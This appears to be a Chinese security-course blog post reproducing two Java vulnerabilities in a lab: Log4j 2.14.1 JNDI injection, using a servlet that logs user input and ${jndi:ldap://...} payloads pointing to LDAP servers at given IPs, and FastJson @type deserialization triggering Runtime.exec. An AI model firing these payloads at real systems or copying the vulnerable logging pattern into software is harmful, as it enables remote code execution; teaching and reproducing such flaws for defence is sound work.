Day36:安全开发-JavaEE应用第三方组件Log4j日志FastJson序列化JNDI注入

目录

Java-项目管理-工具配置

Java-三方组件-Log4J&JNDI

Java-三方组件-FastJson&反射

思维导图


Java知识点:

功能:数据库操作,文件操作,序列化数据,身份验证,框架开发,第三方库使用等.

框架库:MyBatis,SpringMVC,SpringBoot,Shiro,Log4j,FastJson等

技术:Servlet,Listen,Filter,Interceptor,JWT,AOP,反射机制待补充

安全:SQL注入,RCE执行,反序列化,脆弱验证,未授权访问,待补充

安全:原生开发安全,第三方框架安全,第三方库安全等,待补充

Java-项目管理-工具配置

Jar 仓库:

https://mvnrepository.com/

Maven配置:

https://www.jb51.net/article/259780.htm

JNDI:

Java Naming and Directory Interface (Java 命名和目录接口 ),JNDI 提供统一的客户端 API,通过不同的服务供应接口(SPI)的实现,由管理者将 JNDI API 映射为特定的命名服务和目录服务,使得 JAVA 应用程可以通过 JNDI 实现和这些命名服务和目录服务之间的交互。

JNDI注入:原理:利用JNDI的apl接口如RMI或LDAP远程调用自己所写的危险代码实现注入。

经典的JNDI注入漏洞:

Log4j 2.x 中的 JNDI 注入漏洞LDAP,允许攻击者通过特制的日志消息进行远程代码执行。在这种情况下,攻击者可以利用恶意构造的 JNDI上下文注入,执行恶意的Java代码。

上下文注入:

  1. 在某些情况下,应用程序会通过用户提供的数据构建 JNDI 上下文(InitialContext)。
  2. 如果应用程序在构建上下文时没有充分验证和过滤用户提供的数据,攻击者可能会尝试通过构造特殊的输入来注入恶意的 JNDI 对象。如:${jndi:ldap://47.94.236.117:1389/uyhyw6}

FastJson JNDI 注入漏洞(JSON )

  1. FastJson 在解析 JSON 数据时,会将 JSON 字符串转换为 Java 对象。
  2. 攻击者可以通过构造恶意的 JSON 字符串,包含特殊的 JSON 注释和 FastJson 的特性,来触发漏洞。攻击者构造的 JSON 数据可能包含特殊的注释和 FastJson 的特性,以触发漏洞并执行恶意代码。
  3. 远程代码执行:由于漏洞存在,攻击者可能成功执行远程代码,导致服务器上的不安全操作。

Java-三方组件-Log4J&JNDI

Log4J

Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

Log4j-组件安全复现

1Maven引用Log4j

2、接受用户输入值

3Log4j处理错误输入

4、利用jndi-ldap执行

Test:

String code="test";

String code="${java:os}";

logger.error("{}",code);

String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";

服务器:

java -jar JNDI-Injection-Exploit.jar -C "calc" -A xx.xx.xx.xx

Log4j-组件安全复现

  1. 创建Maven并命名为Log4jDemo
  2. 找到对应版本**Apache Log4j Core » 2.14.1,并导入至项目中pomxml文件中**
  3. 并刷新Maven则导入成功
  4. 在java下创建Log4jTest.java 文件,导入引入的第三方Log4j相关包
  5. Log4j 使用: 代码使用 Log4j 2.x 提供的日志功能,通过 LogManager.getLogger 获取一个 Logger 实例,然后使用 Logger.error 记录错误日志。
  6. 在 Logger.error("{}", code); 中,code 的值是 ${java:os}。这是 Log4j 的变量替换语法,其中 ${java:os} 表示执行 Java 系统属性(在这里是执行系统命令)。如果 code 的值是由用户提供的,那么存在潜在的安全风险,因为用户可以通过输入特定的内容来执行恶意代码。

创建一个新的空项目 Log4jDemo,配置如下图

Maven 引用 Log4j

  1. 在 pom.xml 文件中添加引用
  2. 引用代码是那个 Jar 仓库搜索到之后复制 Maven 的代码
  3. 这里引用的是 2.14.1 版本的

<dependencies>
        <!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

引用后左侧就会变成下图所示

创建 Log4jTest.java,编写代码并运行

 import org.apache.logging.log4j.LogManager;
 import org.apache.logging.log4j.Logger;
 ​
 public class Log4jTest {
     // 使用Log4j 实现错误日志输出
     private static final Logger logger = LogManager.getLogger(Log4jTest.class);
     public static void main(String[] args) {
         // 如果code变量是可控的
 //       String code = "${java:os}";
         String code = "${java:vm}";
         logger.error("{}",code);
    }
 }

发现 Log4j 将其当成了命令执行。

在网站中测试 Log4j

创建一个 web 应用程序新项目,配置如下

如上同样需要在 pom.xml 文件中添加 Log4j 引用
创建 Log4jServlet.java
 

 package com.example.log4jwebdemo;
 ​
 import org.apache.logging.log4j.LogManager;
 import org.apache.logging.log4j.Logger;
 ​
 import javax.servlet.ServletException;
 import javax.servlet.annotation.WebServlet;
 import javax.servlet.http.HttpServlet;
 import javax.servlet.http.HttpServletRequest;
 import javax.servlet.http.HttpServletResponse;
 import java.io.IOException;
 ​
 @WebServlet("/log4j")
 public class Log4jServlet extends HttpServlet {
     // 构造http web服务 使用带漏洞的Log4j版本 实现功能
     private static final Logger log = LogManager.getLogger(Log4jServlet.class);
     @Override
     protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
         String code = req.getParameter("code");
         // code = ${java:os} 想输出执行结果 需要加$ 不然会不执行
         // ${jndi:ldap://192.168.85.128:1389/qqbmx0}
         // ldap://192.168.85.128:1389/qqbmx0 是用工具生成的远程可访问的调用方法
         // 什么方法 -C "calc" 执行计算器的方法   (JNDI注入工具生成的)
         log.error("{}",code);
    }
 }

运行 tomcat 服务器,访问 url 路由,添加 code 参数,最终构造 url 如下

http://localhost:8080/Log4jWebDemo_war_exploded/log4j?code=${java:os}

tomcat 服务器的输出日志有如下类似输出

16:29:24.346 [http-nio-8080-exec-9] ERROR com.example.log4jwebdemo.Log4jServlet - Windows 10 10.0, architecture: amd64-64

利用 Jndi-ldap 执行命令
使用 JNDI 注入工具生成远程可访问的调用方法 (这里用的是 JNDIExploit)
也就是 JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
使用命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "notepad" -A 192.168.85.128
                                                        要执行的命令      服务器ip

复制生成的链接,构造 payload 如下,令 url 中 code 等于下值然后访问,即可成功执行命令。

${jndi:ldap://192.168.85.128:1389/hy5qgm}

Java-三方组件-FastJson&反射

FastJson

在前后端数据传输交互中,经常会遇到字符串(String)与json,XML等格式相互转换与解析,其中json以跨语言,跨前后端的优点在开发中被频繁使用,基本上是标准的数据交换格式。它的接口简单易用,已经被广泛使用在缓存序列化,协议交互,Web输出等各种应用场景中。FastJson是阿里巴巴的的开源库,用于对JSON格式的数据进行解析和打包。

Fastjson-组件安全复现

1Maven引用Fastjson

2、创建需转换类对象User

3、使用Fastjson进行数据转换

4、数据转换(对象转Json,Json转对象)

-对象转Json(带类型)

JSONObject.toJSONString(u)

JSONObject.toJSONString(u,SerializerFeature.WriteClassName)

-Json转对象

JSON.parseObject(exp)

Test:

Runtime.getRuntime().exec("calc");

服务器:

https://blog.csdn.net/guo15890025019/article/details/120532891

Fastjson-组件安全复现

Maven引用Fastjson

User.java

 package com.suyou;
 ​
 // 给fastjson数据转换测试用的
 public class User {
     private String name;
     private Integer age;
 ​
     public Integer getAge() {
         return age;
    }
 ​
     public String getName() {
         return name;
    }
 ​
     public void setAge(Integer age) {
         this.age = age;
         System.out.println(age);
    }
 ​
     public void setName(String name) {
         this.name = name;
         System.out.println(name);
    }
 }

FastjsonTest.java

 package com.suyou;
 ​
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
 import com.alibaba.fastjson.serializer.SerializerFeature;
 ​
 // 使用Fastjson去除了User类数据
 public class FastjsonTest {
     public static void main(String[] args) {
         // u Object对象
         // Integer age String name 数据
         User u = new User();
         u.setAge(20);
         u.setName("SuYou");
 //       System.out.println(u);
 ​
         // 把数据转换为Json格式数据,不想用自带的API(太麻烦)
         // 所以使用Fastjson来进行数据转换
         // 将json对象转化为json数据
         String jsonString = JSONObject.toJSONString(u);
         System.out.println("这就是json格式:"+jsonString);
 ​
         // 分析漏洞利用 多输出 转换数据类型 其实前面有一个@type转换对象类包
         String jsonString1 = JSONObject.toJSONString(u, SerializerFeature.WriteClassName);
         System.out.println("这就是json格式:"+jsonString1);
 ​
         // 上面是   对象 -> JSON
 ​
         // 下面是   JSON -> 对象
         // String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}";
         String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";
         // 实战中com.suyou.Run 我们不知道 所以一般固定调用java自带的一些包
         // rmi ldap 去触发远程的class 执行代码(RCE)
 ​
         JSONObject jsonObject = JSON.parseObject(test);
         System.out.println(jsonObject);
 ​
    }
 }

Run.java

 package com.suyou;
 ​
 import java.io.IOException;
 ​
 public class Run {
     public Run() throws IOException {
         Runtime.getRuntime().exec("calc");
    }
 }

运行 FastjsonTest.java,会进行序列化和反序列化过程,会将 User 对象序列化转换为 Json,后面会将 Json 反序列化转换回对象,此时,我们发现在反序列化转换回对象时,可以显示对象包名,我们可以通过修改包名来改变反序列化回的对象。

String test = "{\"@type\":\"com.suyou.User\",\"age\":20,\"name\":\"SuYou\"}";
String test = "{\"@type\":\"com.suyou.Run\",\"age\":20,\"name\":\"SuYou\"}";

如上面两个 json,第二个将原本的 User 换为了我们自己写的 Run 对象,而 Run 对象中被我们写入了恶意代码,后续过程将 test 进行了反序列化操作,将 json 反序列化为对象时构造了 Run 对象,执行了其中构造函数的恶意代码,弹出了计算器。

但是在实战过程中,我们不知道 comsuyoo.RUn ,我们无法确定人家哪个包可以用,所以一般固定调用 java 自带的一些包,很多复现都能看到,然后使用 rmi ldap 去触发远程的 class 执行代码(RCE)

Fastjson 漏洞复现:Fastjson漏洞复现_fastjson 1.2.84-CSDN博客

思维导图

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/449669.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

文章解读与仿真程序复现思路——电网技术EI\CSCD\北大核心《计及台区资源聚合功率的中低压配电系统低碳优化调度方法》

本专栏栏目提供文章与程序复现思路&#xff0c;具体已有的论文与论文源程序可翻阅本博主免费的专栏栏目《论文与完整程序》 论文与完整源程序_电网论文源程序的博客-CSDN博客https://blog.csdn.net/liang674027206/category_12531414.html 电网论文源程序-CSDN博客电网论文源…

第六套CCF信息学奥赛c++ CSP-J认证初级组 中小学信奥赛入门组初赛考前模拟冲刺题(选择题)

第六套中小学信息学奥赛CSP-J考前冲刺题 1、IPv4中,以下P地址不合法的是 A、255.255.255.255 B、0.1.1.1 C、1.1.1.0 D、1.0.0.0 答案&#xff1a;B 考点分析&#xff1a;主要考查网络相关知识&#xff0c;合法的IPv4地址第一个八位二进制必须是从1开始&#xff0c;到255…

RabbitMQ详解与常见问题解决方案

文章目录 什么是 RabbitMQ&#xff1f;RabbitMQ 和 AMQP 是什么关系&#xff1f;RabbitMQ 的核心组件有哪些&#xff1f;RabbitMQ 中有哪几种交换机类型&#xff1f;Direct Exchange(直连交换机)Topic Exchange(主题交换机)Headers Exchange(头部交换机)Fanout Exchange(广播交…

vscode设置setting.json

{ // vscode默认启用了根据文件类型自动设置tabsize的选项 "editor.detectIndentation": false, // 重新设定tabsize "editor.tabSize": 2, // #每次保存的时候自动格式化 // "editor.formatOnSave": true, // #每次保存的时候将代码按eslint格式…

Linux操作系统Makefile基本语法

一、Makefile规则格式 目标.....: 依赖文件集合.......命令1命令2..... main : main.o input.o calcu.ogcc -o main main.o input.o calcu.o 这条规则的目标是 main,main.o、 input.o和 calcu.o是生成 main的依赖文件&#xff0c;如果要更新 目标 main&#xff0c;就必须先更…

FRM模型十五:现代投资组合理论(二)

举例说明如何寻找多资产组合下的全局最小方差点。 这里用到了第三方数据库下载的数据&#xff0c;为7只基金在2023年的收益数据&#xff0c;如下图所示&#xff08;原始数据算不出来所以这里小小的编了一下&#xff09;。 # 多资产投资组合分析 import numpy as np import pa…

HybridCLR热更新介绍

官方文档 参照视频 HybridCLR介绍 HybridCLR是一个特性完整、零成本、高性能、低内存的近乎完美的Unity全平台原生c#热更方案 HybridCLR与ToLua/XLua、ILRuntime有什么不同 什么是游戏热更新&#xff1a;有热更的游戏更新流程 游戏热更新的种类 资源热更新&#xff1a;主要…

day41 动态规划part3

343. 整数拆分 中等 给定一个正整数 n &#xff0c;将其拆分为 k 个 正整数 的和&#xff08; k > 2 &#xff09;&#xff0c;并使这些整数的乘积最大化。 返回 你可以获得的最大乘积 。 但是dp[0] 和 dp[1]为什么是0值得讨论&#xff0c;或者说不用讨论&#xff0c;压根…

对贝尔曼福德算法进行改进

对于贝尔曼福德算法的时间复杂度是V的绝对值和E的绝对值的乘积&#xff0c;如果说给定的图的节点的数量和边的数量都是较大的情况的时候&#xff0c;算法的运行效率就会非常的低&#xff0c;速度也相应的很慢&#xff0c;所以针对这种情况&#xff0c;对算法进行改进&#xff0…

未来城市:数字孪生技术助力智慧城市构建

目录 一、数字孪生技术的兴起与定义 二、数字孪生技术在智慧城市构建中的应用 1、城市规划与管理 2、智慧交通 3、智慧能源 4、智慧环保 三、数字孪生技术助力智慧城市构建的挑战与对策 四、结语 随着科技的飞速发展&#xff0c;未来城市正在经历一场前所未有的变革。数…

Redis事务 和 主从复制

目录 前言 Redis和MySQL事务区别 事务操作 MULTI EXEC DISCARD WATCH UNWATCH 主从复制 配置主从复制 建立复制关系 info replication 断开复制 安全性 只读 传输延迟 拓扑 一主一从结构 一主多从结构 树形拓扑结构 原理 主从节点建立复…

【深度学习笔记】7_4 动量法momentum

注&#xff1a;本文为《动手学深度学习》开源内容&#xff0c;部分标注了个人理解&#xff0c;仅为个人学习记录&#xff0c;无抄袭搬运意图 7.4 动量法 在7.2节&#xff08;梯度下降和随机梯度下降&#xff09;中我们提到&#xff0c;目标函数有关自变量的梯度代表了目标函数…

2024年家政预约上门服务小程序【用户端+商家端+师傅端】源码

024最新家政预约上门服务小程序源码 主要功能:商家入住&#xff0c;师傅入住&#xff0c;缴纳保正金 支持师傅&#xff0c;抢单派单 支持多城市多门下单&#xff0c;支持预约上门服务到店核销 支持补差价义价&#xff0c;支持区域服务限制 基于thinkphp和原生小程序开发

在文件夹下快速创建vue项目搭建vue框架详细步骤

一、首先在你的电脑目录下新建一个文件夹 进入该文件夹并打开控制台&#xff08;输入cmd指令&#xff09; 进入控制台后输入 vue create springboot_vue (自己指定名称) 如果出现这类报错如&#xff1a;npm install 的报错npm ERR! network request to http://registry.cnp…

怎样将PPT转成文本格式?PPT文本一键生成文本格式 工作经验分享

在日常工作和学习中&#xff0c;我们经常需要将PPT文件转换为文本格式&#xff0c;以便更好地进行编辑、搜索和分享。下面&#xff0c;我将介绍2种常见的PPT转文本格式的方法&#xff0c;帮助大家轻松实现这一需求。 方法一、使用汇帮PDF转换器软件里的“PPT文件操作”菜单进行…

Vue3 ElementPlus-table组件(合计)合并列

在使用ElementPlus的table组件的时候&#xff0c;我们通常会处理合计&#xff0c;当遇到合计行需要合并列的时候&#xff0c;可以这样做。 核心就是获取标签&#xff0c;对标签的CSS样式进行设置&#xff0c;以达到合并单元格的效果。 Template <el-tablemax-height"ca…

2024蓝桥杯每日一题(时间日期)

一、第一题&#xff1a;日期差值 解题思路&#xff1a;模拟 写一个计算时间的板子两者相减 【Python程序代码】 mon [0,31,28,31,30,31,30,31,31,30,31,30,31] def pd(x):if x%4000 or (x%40 and x%100!0):return Truereturn False def get_day(y,m,d):res 0for i …

分布式之LoadBalancer

一、LoadBalancer介绍 Spring Cloud LoadBalancer是Spring Cloud官方自己提供的客户端负载均衡器,抽象和实现&#xff0c;用来替代Ribbon&#xff08;已经停更&#xff09;&#xff0c; 二、Ribbon和Loadbalance 对比 组件组件提供的负载策略支持负载的客户端Ribbon随机 Ran…

芯片顶级盛会Hotchips 2021年-苹果M1横空出世(附全套资料下载)

3.22 芯片顶级盛会Hotchips 2021年-未来芯片论坛及资料下载w0 提示&#xff1a;下载链接在文章最后。 HOTCHIPS是一个关于计算机体系结构和电子设计的会议&#xff0c;主要探讨芯片设计、存储器、能源效率、机器学习和人工智能等方面的发展。该会议每年都会召开一次&#xff0…

狂飙Linux平台,PostgreSQL16部署大全

&#x1f4e2;&#x1f4e2;&#x1f4e2;&#x1f4e3;&#x1f4e3;&#x1f4e3; 哈喽&#xff01;大家好&#xff0c;我是【IT邦德】&#xff0c;江湖人称jeames007&#xff0c;10余年DBA及大数据工作经验 一位上进心十足的【大数据领域博主】&#xff01;&#x1f61c;&am…